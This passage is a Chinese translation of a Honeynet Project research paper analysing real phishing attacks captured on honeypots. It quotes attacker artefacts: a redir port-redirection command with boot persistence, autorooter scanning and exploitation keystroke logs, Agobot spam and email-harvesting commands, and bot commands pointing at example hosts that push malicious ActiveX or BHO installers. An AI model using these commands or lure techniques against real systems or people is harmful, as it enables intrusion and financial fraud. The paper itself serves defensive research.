实例解析网络钓鱼攻击的幕后
网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息(如用户名、口令、帐号ID、ATM PIN码或信用卡详细信息)的一种攻击方式。最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上,并获取收信人在此网站上输入的个人敏感信息,通常这个攻击过程不会让受害者警觉。这些个人信息对黑客们具有非常大的吸引力,因为这些信息使得他们可以假冒受害者进行欺诈性金融交易,从而获得经济利益。受害者经常遭受显著的经济损失或全部个人信息被窃取并用于犯罪的目的。这篇“了解你的敌人”文章旨在基于 德国蜜网项目组和英国蜜网项目组所搜集到的攻击数据给出网络钓鱼攻击的一些实际案例分析。这篇文章关注由蜜网项目组在实际环境中发现的真实存在的网络钓鱼攻击案例,但不会覆盖所有可能存在的网络钓鱼攻击方法和技术。攻击者也在不断地进行技术创新和发展,目前也应该有(本文未提及的)新的网络钓鱼技术已经在开发中,甚至使用中。
在给出一个简要的引言和背景介绍后,我们将回顾钓鱼者实际使用的技术和工具,给出使用蜜网技术捕获真实世界中的网络钓鱼攻击的三个实验型研究的案例。这些攻击案例将详细地进行描述,包括系统入侵、钓鱼网站架设、消息传播和数据收集等阶段。随后,将对其中普遍应用的技术及网络钓鱼、垃圾邮件和僵尸网络等技术进行融合的趋势给出分析。钓鱼者使用恶意软件进行自动化的Email地址收集和垃圾邮件发送的案例也将被回顾,同时我们也将展示我们在网络扫描技术及被攻陷主机如何被用于传播钓鱼邮件和其他垃圾邮件上的发现。最后,我们对本文给出结论,包括我们在最近6个月内获得的经验,以及我们建议的进一步研究的客体。
这篇文章包括了丰富的支持性信息,提供了包含特定的网络钓鱼攻击案例更详细数据的链接。最后声明一下,在研究过程中,我们没有收集任何机密性的个人数据。在一些案例中,我们与被涉及网络钓鱼攻击的组织进行了直接联系,或者将这些攻击相关的数据转交给当地的应急响应组织。
引言
欺骗别人给出口令或其他敏感信息的方法在黑客界已经有一个悠久的历史。传统上,这种行为一般以社交工程的方式进行。在二十世纪九十年代,随着互联网所连接的主机系统和用户量的飞速增长,攻击者开始将这个过程自动化,从而攻击数量巨大的互联网用户群体。最早系统性地对这种攻击行为进行的研究工作在1998年由Gordon和Chess发表。(Sarah Gordon, David M. Chess: Where There's Smoke, There's Mirrors: The Truth about Trojan Horses on the Internet , presented at the Virus Bulletin Conference in Munich, Germany, October 1998)Gordon和Chess研究针对AOL(美国在线)的恶意软件,但实际上他们面对的是网络钓鱼的企图而不是他们所期望的特洛伊木马攻击。网络钓鱼 (Phishing) 这个词 (password harvesting fishing) 描述了通过欺骗手段获取敏感个人信息如口令、信用卡详细信息等的攻击方式,而欺骗手段一般是假冒成确实需要这些信息的可信方。 Gordon 和 Chess 描述的一个钓鱼信件如下所示:
Sector 4G 9E of our data base has lost all I/O functions. When your account logged onto our system, we were temporarily able to verify it as a registered user. Approximately 94 seconds ago, your verification was made void by loss of data in the Sector 4G 9E. Now, due to AOL verification protocol, it is mandatory for us to re-verify you. Please click 'Respond' and re-state your password. Failure to comply will result in immediate account deletion.
早期的网络钓鱼攻击主要目的是获得受害者的AOL账号的访问权,偶尔也期望获取信用卡数据以用于欺诈目的(如非法买卖这些信息)。这些钓鱼的信件通常包含一个简单的诡计从而哄骗一些“菜鸟”用户,这些欺骗手段很大程度依赖于受害者对“自动化的”系统功能或权威机构的(表面)轮廓的先天性信任,前面的例子中给出一个硬件设备故障或数据库毁坏的情节,大部分的普通用户将会重视任何看起来正式的、或看起来向是为他们提供帮助的紧急的技术上的要求,用户通常会被催促尽快输入其敏感信息从而避免严重后果,如“ … 重新输入你的口令,如未及时输入则将导致直接删除账号”。为了避免可能潜在的严重的后果,受害者通常立即照做,从而不知不觉地将这些使用此社交工程手段的黑客所需要的敏感数据提供给了他们。事后的证据表明这些黑客都是单独行动,或是以一个小而简单的组织形式活动。一些文献也描述了早期的网络钓鱼者大多是一些期望获得更多账号数据去恶作剧及打长途电话的青少年,通常没有很强的组织性和蓄意性。
现在,钓鱼者所首选的策略是通过大量散发诱骗邮件,冒充成一个可信的组织机构(通常是那些钓鱼者所期望的已经被受害者所信任的机构),去引诱尽可能多的终端用户。钓鱼者会发出一个让用户采取紧急动作的请求,而具有讽刺意义的是通常其理由是保护用户的机密性数据免受恶意活动的侵害,这封欺骗性的电子邮件将会包含一个容易混淆的链接,指向一个假冒目标机构公开网站的远程网页。钓鱼者希望受害者能够被欺骗,从而向这个假的、但看起来是目标机构的“官方”网站的网页接口输入他们的机密信息。被钓鱼者所青睐的目标机构包括很多著名的银行,信用卡公司和涉及日常性支付行为的知名互联网商务网站(如eBay和Paypal等)。大量针对互联网用户的钓鱼邮件的实例可以在反网络钓鱼工作组(Anti-Phishing Working Group)的网站上的钓鱼邮件归档中可以获得,其中许多邮件都显示了钓鱼者可以欺骗无知的用户相信他们正在访问一个合法的网页接口的极高精确性。
在这个简要介绍网络钓鱼概念的引言之后,我们将开始回顾在我们观察到的真实网络钓鱼攻击中所实际使用的技术和工具。如果你对网络钓鱼的更深入的背景知识感兴趣,我们为你准备了 具体的背景信息 这个页面。
工具和策略
网络钓鱼攻击一般仅利用一些简单的工具和技术来欺骗无戒备心的用户。支撑一次网络钓鱼攻击的底层基础设施可以是最基本的简单地拷贝一个HTML页面,上传到一个刚刚攻陷的网站服务器,以及一个服务器端的用来处理用户输入数据的脚本,也可能涉及更为复杂的网站及内容重定向,但他们的底层目标是一致的——架设一个假冒可信机构的网站,并部署一些必需的后台脚本处理用户的输入数据并让攻击者获取。使用最新的HTML编辑工具可以非常容易地构建出模仿目标组织机构的网站,同时如果攻击者不介意扫描互联网IP地址空间以寻找潜在的有漏洞的主机,缺乏有效的安全防护的网站服务器也能够非常容易地找到并被攻陷。一旦被攻陷,即使是家庭用的PC主机都可以作为钓鱼网站的宿主主机,所以钓鱼者的攻击目标不仅仅是知名的企业和学院里的系统。攻击者经常不分青红皂白地去选择他们的目标主机,而仅仅是在一个大的IP地址空间中随机地扫描,寻找可被利用的特定的安全漏洞。
一旦钓鱼者建立起一个模仿可信机构的真实且能够让人信以为真的假冒网站后,对他们的重要挑战是如何将用户从一个合法的网站转移到访问他们所架设的假冒网站。除非钓鱼者有能力去改变目标网站的DNS解析(称为DNS中毒攻击)或采取其他方式对网络流量进行重定向(称为pharming的一种技术),他们必须依赖某种形式的内容上的欺骗技巧,去引诱不幸的用户去访问假冒的网站。欺骗技巧的质量越高,他们所撒的渔网就越宽,一个无知的用户错误地访问这个假冒网站(并提供给钓鱼者他的机密信息和私人数据)的机会就越大。
对攻击者不幸的是,当他们假冒一个组织结构(如一个银行或可信的商务网站),钓鱼者通常没有任何互联网上哪些用户属于他们的客户此类信息,也就不知道哪些用户最容易上钩。即使钓鱼者可以将指向假冒网站的链接发布到与目标机构相关的一些聊天室或论坛上(如一个技术支持网站或网络社区谈论组),目标机构很可能比较迅速地被通知并做出反应,这个链接也会在很多受害者访问它所指向的内容并提交他们的个人信息前被清除。同时对钓鱼者也存在一个显著的风险,目标机构或法律执行部门可能会追踪并关闭这些假冒的网站。因此,钓鱼者需要一个方法,能够在尽量减少他们所承担的风险的同时,在短时间内欺骗尽可能多的潜在受害群体,他们找到了理想的犯罪搭档——垃圾邮件。
垃圾邮件发送者拥有包括几百万使用中电子邮件地址的数据库,因此最新的垃圾邮件群发技术可以用来帮助一个钓鱼者低风险广泛地发布他们的诱骗邮件。垃圾邮件通常通过一些被攻陷的架设在境外主机上的邮件服务器,或是通过一个全球的傀儡主机网络(botnets)进行发送,因此邮件发送者被追踪的可能性将会很小。如果一个无戒备心的用户收到一封看起来像是由他们的银行所发来的,带有银行正式标志的电子邮件,要求他们访问一个看起来与银行官方网站一摸一样的网站并由于安全理由更改他们在线的银行口令,这比起那些介绍新奇产品并链接到未知网站的普通垃圾邮件来更可能使得用户上当。为了增加用户相信这个邮件是真实的可能性,钓鱼者会应用一些另外的技术来进一步提高他们所进行的诱捕手段的质量:
在指向假冒网站的链接中使用IP地址代替域名。一些无戒备心的用户将不会检查(或不知道如何检查)这个IP地址是否来自假冒网站页面上所声称的目标机构。
注册发音相近或形似的DNS域名(如 b1gbank.com 或 bigbnk.com 假冒 bigbank.com ),并在上面架设假冒网站,期望用户不会发现他们之间的差异。
在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站的链接,从而使得用户的网站浏览器的大多数HTTP连接是指向真实的目标网站,而仅有少数的关键连接(如提交敏感信息的页面)指向假冒的网站。如果用户的电子邮件客户端软件支持HTML内容的自动获取,那会在电子邮件被读取的时候自动地连接假冒网站,手动地浏览也不会在大量与真实网站的正常网络活动中注意到少量与恶意服务器的连接。
对假冒网站的URL进行编码和混淆,很多用户不会注意到或者理解URL链接被做过什么处理,并会假设它是良性的。IDN欺骗技术(IDN spoofing)就是这样的一种技术,它使用Unicode编码的URL在浏览器的地址栏里呈现的看起来像是真实的网站地址,但实际上却指向一个完全不同的地址。
企图攻击用户网页浏览器存在的漏洞,使之隐藏消息内容的实质。微软的IE和Outlook都被发现过存在可以被这种技术攻击的漏洞(如地址栏假冒和IFrame element漏洞)。
将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实的网站。这将导致一个“口令错误,请重试”错误,或甚至完全透明,但在每种情况下,大部分用户都不会发觉,更相信是自己的错误输入,而不会想到是由于恶意第三方的干涉。
架设一个假冒网站,作为目标机构真实网站的代理,并偷摸地记录未使用SSL加密保护的口令信息(或甚至为假冒的域名注册一个有效的SSL证书从而对SSL加密保护的口令信息进行记录)。
首先通过恶意软件在受害者的PC上首先安装一个恶意的浏览器助手工具(Browser Helper Object),然后由其将受害者重定向到假冒的钓鱼网站。BHO是一些设计用于定制和控制IE浏览器的DLL,如果成功,受害者将会被欺骗,相信他们正在访问合法的网站内容,然而实际上却在访问一个假冒的钓鱼网站。
使用恶意软件去修改受害者PC上的用来维护本地DNS域名和IP地址映射的hosts文件,这将使得他们的网页浏览器在连接架设假冒钓鱼网站的服务器时,却让用户看起来像是访问目标机构的合法网站。
由于很多电子商务或在线银行应用的复杂性,他们的网站经常使用HTML框架结构或其他复杂的页面结构架设,这也可能使得一个终端用户很难判断一个特定的网页是否合法。上述列举的这些技术的组合使用可以隐藏一个精心设计的网页的真实来源,也使得一个无戒备心的用户很可能被引诱去访问钓鱼者的假冒网站,不知不觉地泄漏他们的认证口令信息和所需要的数字身份信息,从而成为一次成功的网络钓鱼攻击的又一个受害者。
真实世界的网络钓鱼技术
互联网用户也经常在他们自己收到欺骗性邮件发觉网络钓鱼攻击,也常常在钓鱼网站所临时架设的主机被 关闭很长时间后在 技术新闻站点上看到这些恶意网站的记录副本,但这些事件只能被孤立从受害者的角度去观察。蜜网技术能够提供的一个最大的优势在于其能够从攻击者角度捕获全部行为的能力,使得安全分析员能够对网络钓鱼攻击的整个生命周期建立起一个完整的理解,来自蜜网研究联盟的成员们非常幸运地捕获了丰富的网络钓鱼攻击数据集,能够帮助他们了解真实的一次网络钓鱼攻击的全过程,从最初主机被攻陷、钓鱼网站的架设、群发垃圾邮件、到最后的受害者数据捕获。三个反映典型的真实世界网络钓鱼攻击技术的实际案例将在下面被展示和分析。
第一种网络钓鱼技术:通过攻陷的网站服务器钓鱼
大部分我们观察到真实世界中的网络钓鱼攻击涉及到攻击者攻入有漏洞的服务器,并安装恶意的网页内容。蜜网技术使得我们可以捕获一次网络钓鱼攻击的生命周期中的详细数据,在我们观察到的这些攻击事件中,普遍地存在如下一些事件:
攻击者扫描网段,寻找有漏洞的服务器
服务器被攻陷,并安装一个rootkit或口令保护的后门工具
钓鱼者从加密的后门工具获得对服务器的访问权
如果这个被攻陷的服务器是一个网站服务器,则下载已构建完毕的钓鱼网站内容
进行有限的一些内容配置和网站测试工作(这也潜在地预示着第一次访问钓鱼网站的IP地址可能是钓鱼者的真实IP地址)
群发电子邮件工具被下载,并用以大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件
网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问恶意的网页内容
通常情况下,网站钓鱼攻击的生命周期从钓鱼网站发布到互联网上后只有几个小时或几天的时间,我们的研究也发现网络钓鱼攻击在多台服务器上针对多个组织机构在同时并行进行。我们将使用两个典型的网络钓鱼攻击的实际案例所捕获的数据来进行阐述这些原理,其中一个案例是由德国蜜网项目组观察到,另一个由英国蜜网项目组观察到。在每个案例中,蜜网研究联盟的成员们都部署了有漏洞的Linux蜜罐,对这两个蜜罐的攻陷过程显示了相同的攻击模式:蜜罐的被扫描和被攻陷具有非常强的连续性,并包括预先创建的钓鱼网站和群发垃圾邮件工具的上传和使用。与我们观察到的几次其他的案例中类似,Rootkit和IRC服务器也同时在攻击过程中被安装,被攻陷的蜜罐同时被用以除网络钓鱼外的其他目的:如作为一个由罗马尼亚攻击者控制的IRC傀儡主机,同时也作为一个网络扫描器用以发现和攻击更多潜在的计算机(尽管蜜网体系框架阻止攻击者从被攻陷的蜜罐成功的攻击其他的服务器)。一些令人关注的差异也是非常显然的,不仅仅是在英国蜜网项目组观察到的案例中,也就是多个不同的组织几乎同时访问了被攻陷的主机,使得取证分析更加复杂。由于篇幅的限制,我们没有在本文中给出这些攻击的具体细节,而仅仅给出了我们所得到的经验以及钓鱼者如何进行网络钓鱼攻击。如果你对这些特定的攻击过程的更多具体细节感兴趣,你可以访问以下页面中的信息。
蜜网配置概要介绍
德国蜜罐攻陷案例的具体细节
英国蜜罐攻陷案例的具体细节(时间表)
英国蜜罐攻陷案例的具体细节(内容分析)
下面的表格展示了在这两个案例中关键的因素及其差异的概要分析:
数据
德国案例
英国案例
被攻陷的蜜罐
Redhat Linux 7.1 x86.
Redhat Linux 7.3 x86.
部署位置
德国企业网络
英国 ISP 数据中心
攻击方法
"Superwu" autorooter.
"Mole" mass scanner.
被利用的漏洞
Wu-Ftpd File globbing heap corruption vulnerability ( CVE-2001-0550 ).
NETBIOS SMB trans2open buffer overflow ( CAN-2003-0201 ).
获得的访问权限
Root.
Root.
安装的 Rootkit
Simple rootkit that backdoors several binaries.
SHV4 rootkit.
可能的攻击者
未知
来自罗马尼亚康斯坦萨的拨号 IP 网络的多个组织
网站行为
下载多个构建好的以 eBay 和多家美国银行为目标的钓鱼网站
下载一个预先构建的以一家美国主要银行为目标的钓鱼网站
服务器端后台处理
用于验证用户输入的 PHP script
拥有更高级用户输入验证和数据分类的 PHP script
电子邮件活动
企图发送垃圾邮件 ( example 1 , example 2 ), 但被 Honeywall 所拦截 .
仅测试了邮件发送,可能是给钓鱼者同伙, Improved syntax and presentation.
群发电子邮件方法
从一个中量级 Email 地址输入列表进行垃圾邮件群发的 Basic PHP script
从一个小量级的 Email 地址输入列表进行垃圾邮件群发的 Basic PHP script – 可能仅仅是一次测试。
受害者是否到达钓鱼网站
没有,垃圾邮件的发送和对钓鱼网站的访问被阻断
有,在 4 天内有 265 个 HTTP 请求到达,但不是因为从服务器发出的垃圾邮件所吸引的(没有客户的个人信息被收集)。
从对两个案例中钓鱼者的键击记录(使用Sebek捕获)的观察发现,攻击者在连接到已存在的后满后,立即开始工作,部署他们的钓鱼网站。这些攻击者的动作显示他们对服务器的环境非常熟悉,这也说明他们是前期攻陷这些蜜罐的组织中的成员,而且钓鱼攻击的整个企图也是非常明显且具有组织性的。从上传的网站内容经常指向其他的网站服务器和 IP 地址看来,很可能这些活动同时在多台服务器上同时在进行中。
从对在这些案例中由攻击者下载的钓鱼网站内容的分析中可以明显的看出,钓鱼者在同时以多个知名的在线组织结构为假冒目标。预先精心构造、有官方标志的假冒钓鱼网站被例行性地部署到被攻陷的主机上-经常通过以不同的网页服务器根目录进行分离的“子站点”来同时架设多个组织结构的钓鱼网站,同时安装将垃圾邮件传播给潜在的受害者的必需工具。在英国蜜网项目组观察到的案例中,从FTP会话所列出的目录列表中可以确认这些攻击者已经很深的卷入垃圾邮件和网络钓鱼攻击中,预先构建的网站内容和邮件传播攻击被集中存放在一个集中的服务器上,并且看起来攻击的目标至少针对eBay、AOL和其他几个知名的美国银行。这些个别的网络钓鱼攻击看起来并不是隔离的单独的攻击事件,因为在这些案例中发布的垃圾邮件通常将受害者指向到几个同时存在的假冒网站服务器,同时这些垃圾邮件也同时是从多个系统中发出。从英国案例中蜜罐被攻击后第一个连入对钓鱼网站内容的HTTP请求也预示着并行的网络钓鱼攻击操作在进行。
这个连入蜜罐的HTTP连接在攻击者在这台蜜罐主机上架设假冒的在线银行网站之前就已经发生,这确认了攻击者已经预先知道这台服务器可以被用来作为一个钓鱼网站的假设。在攻击者在架设这个钓鱼网站的同时,引诱受害者访问这个新钓鱼网站的垃圾邮件已经从另外一台主机上发出。
我们对连入被攻陷的蜜罐请求假冒在线银行内容的HTTP请求连接的源IP地址数量和范围感到震惊。下面的图给出了在蜜罐从网络中断开前从各个IP地址访问钓鱼网站的HTTP请求的数目(包括每个IP单独计算和全部的HTTP请求)。
访问英国蜜网项目组部署蜜罐上的钓鱼网站内容的源IP地址的顶层DNS域名、国家和主机操作系统的列表见 此页面 。要注意的是,在蜜罐被离线进行取证分析之前,尽管访问钓鱼网站的网页流量到达英国蜜网项目组部署的蜜罐,但并没有针对处理用户数据处理的 PHP 脚本的 HTTP POST 请求,因此在此次网络钓鱼攻击中,没有任何用户的信息被钓鱼者和我们获得。在本文提及的所有案例中,我们或是直接通报了目标机构关于攻击案例和任何相关的他们所需的相关数据,或是向当地的计算机应急响应组通报了所有相关的恶意行为。在所有案例中,没有任何受害者的私人信息被蜜网项目组和蜜网研究联盟的成员所捕获。
从这两个案例中的数据表明钓鱼者是非常活跃并且具有组织性的,在多个被攻陷的主机中快速地移动,并且同时以多个著名的组织结构为目标。同时数据也显示许多电子邮件用户被引诱访问假冒组织机构(如在线银行和商务网站)的钓鱼网站,网络钓鱼攻击已经给广大的互联网用户带来了安全风险。
第二种网络钓鱼技术:通过端口重定向钓鱼
在2004年11月,德国蜜网项目组部署了包含一个 Redhat Linux 7.3 蜜罐的经典 第二代蜜网 。虽然安装的是相当旧的操作系统版本,攻击者也能够非常容易就能攻破,但它令人惊讶地经过了两个半月后才被首次成功攻陷-这和以上提及案例中讨论的蜜罐快速被攻陷的情况形成显著的反差。更多关于此趋势的信息可以在“了解你的敌人”系列文章中的“ 了解你的敌人:趋势分析 ”中可以找到。
在2005年1月11日,一个攻击者成功地攻陷了这台蜜罐,使用了针对 Redhat Linux 7.3 缺省安装存在的 OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability 的攻击脚本。此案例不寻常的是当攻击者获得被攻陷主机的访问权后,他并没有直接上传钓鱼网站内容。取而代之的是,攻击者在蜜罐上安装并配置了一个端口重定向服务。
这个端口重定向服务被设计成将发往该蜜罐网站服务器的 HTTP 请求以透明的方式重新路由到另外一个远程的网站服务器,这种方式潜在地使得对钓鱼网站内容更难追踪。攻击者下载并在蜜罐上安装了一个称为 redir 的工具,此工具是一个能够透明地将连入的 TCP 连接转发到一个远程的目标主机的端口 重定向器。在此次案例中,攻击者配置该工具将所有到蜜罐 TCP 80 端口( HTTP )的流量重定向到一个位于 中国 的远程网站服务器的 TCP 80 端口。有意思的是,攻击者并没有在蜜罐上安装 Rootkit 以隐藏他的存在,这也说明攻击者并没有把被攻陷的主机的价值看的很重,同时并不担心被检测到。
攻击者使用的建立端口重定向的指令如下:
redir --lport=80 --laddr= --cport=80 --caddr=221.4.XXX.XXX
另外,攻击者修改了 Linux 系统的启动脚本文件 /etc/rc.d/rc.local 从而保证 redir 端口重定向服务在蜜罐系统重新启动后也会被重新启动,提高了他们的端口重定向服务的生存能力。然后他们开始往外发送钓鱼垃圾邮件以引诱受害者访问此蜜罐,一个示例可以在 此 找到。(注意相关的敏感信息已经被混淆了)。
为了进一步调查攻击者的活动,德国蜜网项目组的成员们干涉并偷偷摸摸修改了攻击者在蜜罐上安装的 redire 工具的配置,使其在 redir 程序内进行日志,使得更容易地观察到多少人接收到此垃圾邮件信息,并点击了其中的链接透明地访问重定向后的钓鱼网站内容。在将近 36 小时的时间段内, 721 个 IP 地址被 redir 重定向到钓鱼网站,我们又一次对这么多用户被发布的钓鱼邮件所引诱访问钓鱼网站内容而感到震惊。对访问端口重定向器的 IP 地址的分析可以在 这 找到(注意这些信息已经被清洁过,以保护访问钓鱼网站的用户,同时在我们的研究中仅记录了 IP 地址数据,任何机密性的用户数据没有被捕获)。
本次攻击案例的一个概要时间线如下表所示:
日期 / 时间
事件
2004 年 11 月 1 日
蜜罐受到首次扫描
2005 年 1 月 11 日 19:13
蜜罐上的 OpenSSL 服务被攻陷,端口重定向器被安装, 钓鱼垃圾邮件 被发送。
2005 年 1 月 11 日 20:07
对钓鱼网站内容的 网页请求 开始到达蜜罐。
2005 年 1 月 13 日 8:15
蜜罐被离线进行取证分析。
第三种网络钓鱼技术:通过僵尸网络进行钓鱼
蜜网项目组最近发布的一篇文章“了解你的敌人:跟踪 僵尸网络”介绍了一种追踪僵尸网络的方法。一个僵尸网络是由可被攻击者远程控制的被攻陷主机所构成的网络。由于他们的巨大数量(可以有成千上万的主机一起连接),当僵尸网络被用以分布式拒绝服务攻击时,可以对互联网社区构成巨大的威胁。在 2004 年 10 月的一次调查中,电子邮件安全公司 CipherTrust 得出了 70% 监视到的钓鱼垃圾邮件是从 5 个活跃的僵尸网络中的 1 个所发出的,但是我们的观察显示有更多的僵尸网络已经被用来进行发送垃圾邮件。尽管还没有一个显著的实际案例分析,在本节中我们还是给出了我们对可被攻击者以僵尸网络的方式进行网络钓鱼攻击的工具和技术的观察结果。
案例时间表
在从 2004 年 9 月到 2005 年 1 月的这段时期中,德国蜜网项目组部署了一系列安装未打补丁的微软 Windows 操作系统的蜜罐,以观察僵尸网络活动。我们开发了一个自动化部署的过程,使得蜜罐可以被重复性地部署,攻陷及离线分析。在此期间,超过 100 个不同的僵尸网络被发现,以及上千的文件被获取用以离线分析。
分析
一些在此研究项目中捕获的僵尸工具提供了在被攻陷主机上远程启动一个 SOCKS v4/v5 代理的能力。 SOCKS 为基于 TCP /IP 的网络应用程序提供了一种通用化的代理机制( RFC 1928 ),可以被用来代理最普遍的互联网流量,如 HTTP 和 SMTP 等。如果攻击者能够成功地通过僵尸网络的控制使得各个远程傀儡主机上都开放 SOCKS 代理服务功能,那么该主机可以被用来发送大量的垃圾邮件,如果僵尸网络中包含成千上万的傀儡主机,那么攻击者可以轻易地发送巨大数量的垃圾邮件,而这些垃圾邮件的发送源头却是覆盖巨大 IP 地址范围的属于一些无戒备心用户的家庭 PC 机。
不存在集中的控制点,以及其范围超出了国界使得很难对僵尸网络的活动进行追踪和阻断。这也使得僵尸网络为垃圾邮件发布者和钓鱼者提供了一种低风险的、但高回报的攻击方法。或许不会令人惊讶,富有傀儡资源的僵尸网络拥有者已经开始以犯罪为目标,并且目前也已经出现 租借 僵尸网络 的现象。为了赚取租金,僵尸网络的操作者将会给他的客户提供一个支持 SOCKS v4 的服务器 IP 地址和端口。已经有报道显示僵尸网络被出售给垃圾邮件发布者作为垃圾邮件的转发服务器。 " Uncovered: Trojans as Spam Robots ". 一些捕获的僵尸工具也实现了能够获取 Email 地址,或者通过傀儡主机发送垃圾邮件的特殊功能。下面的列表显示了一些在 Agobot (一个被攻击者非常普遍使用的僵尸工具,其变种也经常在我们的研究过程中被捕获)中实现的与垃圾邮件 / 钓鱼邮件相关的指令:
harvest.emails – 使得僵尸工具获得一个 Email 地址列表
harvest.emailshttp – 使得僵尸工具通过 HTTP 获得一个 Email 地址列表
spam .setlist – 下载一个 Email 地址列表
spam .settemplate – 下载一个 Email 模板
spam .start – 开始发送垃圾邮件
spam .stop – 停止发送垃圾邮件
aol spam .setlist - AOL - 下载一个 Email 地址列表
aolspam.settemplate - AOL - 下载一个 Email 模板
aol spam .setuser - AOL – 设置用户名
aol spam .setpass - AOL -设置口令
aol spam .start - "AOL - 开始发送垃圾邮件
aol spam .stop - "AOL - 停止发送垃圾邮件
关于这些指令实现的进一步信息,可以在 这 找到,以僵尸工具源码的注释形式给出。在 drone -一个由德国蜜网项目组开发的自定制 IRC 客户端的帮助下,通过利用我们的蜜网所捕获的网络连接数据将 drone 混入僵尸网络中,我们可以对僵尸网络如何被用以进行发送垃圾邮件 / 钓鱼邮件进行更深入的了解。以下将给出一些观察到的典型活动案例。
实例 1
在一个特定的僵尸网络中,我们观察到攻击者发出了以下指令(注意 URL 都已经被混淆了):
.mm http://www.example.com/email/fetch.php? 4a 005aec5d7dbe3b 01c 75aab2b 1c 9991 http://www.foobar.net/pay.html Joe did_u_send_me_this
.mm (mass emailing) 指令是一个一般化的 spam_start 指令的定制版本。这个指令接收以下 4 个参数:
一个包含多个 Email 地址文件的 URL
包含在垃圾邮件中的目标网站地址链接-这个网站可能是一个普遍的垃圾网页,也可能是一个钓鱼网站
发送者的名字
邮件的主题
在本次攻击案例中,每次调用 fetch.php 脚本会返回 30 个不同的 Email 地址。对于每个收信者,将会构造一个 Email 邮件,将宣传指令中第二个参数给出的链接。在这个实例中,第二个参数的链接指向了一个企图在受害者主机上安装一个恶意 ActiveX 组件的网页。
实例 2
在另一个僵尸网络中,我们观察到在受害者 PC 上安装浏览器助手组件的攻击方式:
[TOPIC] # spam 9 :.open http://amateur.example.com/l33tag3/beta.html -s
.open 指令告诉每个僵尸工具打开所申请的网页并显示给受害者,在这个案例中,这个网页中包含一个浏览器助手组件,企图在受害者主机上安装自身。从这个 IRC 频道的名称可以显示出,这个僵尸网络也是用以发送垃圾邮件的。
实例 3
在另外一个僵尸网络上,我们观察到 spyware 传播的实例:
http://public.example.com/prompt.php?h=6d799fbeef 3a 9b 386587f 5f 7b 37f [...]
这个链接在对捕获到的恶意软件的分析中获得,它将受害者指向了一个提供“免费的广告传播软件”的公司的网页,这个网站包含了在企图访问客户端上安装 ActiveX 组件(推测是 adware 或 spyware )的多个页面。
普遍的攻击旋律
在我们对网络钓鱼攻击的研究过程中发现了一些普遍的攻击旋律,攻击者显然在混合使用一些工具和技术来提高他们成功的机会。我们现在开始分析两种这样的技术-批量扫描和组合式攻击。
批量扫描
通过对一些被攻陷蜜罐的分析表明,系统是自动化的攻击脚本所攻陷,这些自动化攻击脚本通常被称为 autorooters 。在上面描述的两个案例中,一旦攻击者攻陷了蜜罐, autorooter 的 toolkits 就被上传到服务器上,然后攻击者就开始尝试扫描一些 IP 地址空间段来寻找其他同样存在漏洞的服务器(在德国案例中使用的称为 superwu 的扫描器,而在英国案例中使用了 mole 扫描器 )。在英国案例中捕获的攻击者键击记录如下所示,显示了从被攻陷的蜜罐发起的批量扫描的实例。注意由于蜜网配置,这些往外的恶意流量会被阻断,从而这些攻击不会成功。
攻击者解压缩扫描器,并尝试扫描 B 类地址空间段:
[2004-07-18 15:23:31 bash 0]tar zxvf mole.tgz
[2004-07-18 15:23:33 bash 0]cd mole
[2004-07-18 15:23:38 bash 0]./mazz 63.2
[2004-07-18 15:24:04 bash 0]./mazz 207.55
[2004-07-18 15:25:13 bash 0]./scan 80.82
攻击者尝试攻击潜在的有漏洞的服务器:
[2004-07-19 11:56:46 bash 0]cd mole
[2004-07-19 11:56:50 bash 0]./root -b 0 -v ns1.victim.net
[2004-07-19 11:57:26 bash 0]./root -b 0 -v 66.90.NNN.NNNs
攻击者在一段时间后回来查看已经成功攻陷的服务器列表(这个列表是空的,由于蜜网的配置):
[2004-07-23 08:13:18 bash 0]cd mole
[2004-07-23 08:13:20 bash 0]ls
[2004-07-23 08:13:25 bash 0]cat hacked.servers
攻击者尝试扫描更多的 B 类地址空间段,并随后测试对选择目标进行攻击:
[2004-07-24 10:24:17 bash 0]cd mole
[2004-07-24 10:24:19 bash 0]./scan 140.130
[2004-07-24 10:24:27 bash 0]./scan 166.80
[2004-07-24 10:25:36 bash 0]./scan 166.4
[2004-07-24 10:26:23 bash 0]./scan 139.93
[2004-07-24 10:27:18 bash 0]./scan 133.200
[2004-07-24 10:36:37 bash 0]./try 202.98.XXX.XXX
[2004-07-24 10:38:17 bash 0]./try 202.98.YYY.YYY
[2004-07-24 10:38:27 bash 0]./try 202.98.YYY.YYY
在上述最后一个例子中,注意攻击者尝试攻陷的几个主机并不在从这个蜜罐扫描的 IP 地址范围内,这又一次提供了批量扫描行为的高协同性和并行性。
对英国攻击者下载的 mole .tgz 文件的进一步调查揭示了在解压后的 aotorooter toolkit 的根目录中有一些 text 文件。这些文件包括扫描配置信息和之前扫描“ grabbb2.x and samba 2.2.8 vulnerability ”的扫描结果日志。在这些文件中还包含 42 个针对其他主机的攻击案例,以及针对多个 B 类地址空间扫描的结果,从而证明了观察到的攻击案例是一个更大的更具组织性的针对类似系统的攻击中的一部分。一个从攻击者的角度查看的 mole 扫描工具的输出结果的实例,可以在 这 找到。
最后,一些从攻陷蜜罐上发现的批量扫描工具看起来并没有广泛地传播,这也显示了这些攻击者拥有超越基本的脚本小子的一定水平的开发能力和工具制造能力,或者是一个并没有将他们的工具共享给公开论坛的封闭社团的成员。又一次,这显示了具有良好组织性的攻击者的能力。
组合式攻击
在我们的研究中,我们也发现了钓鱼者经常组合三种不同的攻击技术。正如我们观察到,并在本文所描述的,一些时候多种方法将提供一些冗余性,并通过一个两层的网络拓扑配置保护他们的网络钓鱼攻击基础设置。下图描述了一种可能的网络钓鱼攻击拓扑结构:
在这个实例中,一个中央的网站服务器架设了物理上的钓鱼网站内容,通常包含针对多个目标机构的多个网站(如在 /ebay 目录下有 一个 eBay 钓鱼网站,在 .paypal 目录下有一个 PayPal 钓鱼网站 )。一些被攻陷的远程主机在 redir 端口重定向器的帮助下将连入 TCP 80 端口的 HTTP 流量重定向到中央的网站服务器。这种方案从攻击者的角度看来比一个单一的钓鱼网站拥有以下的一些优势:
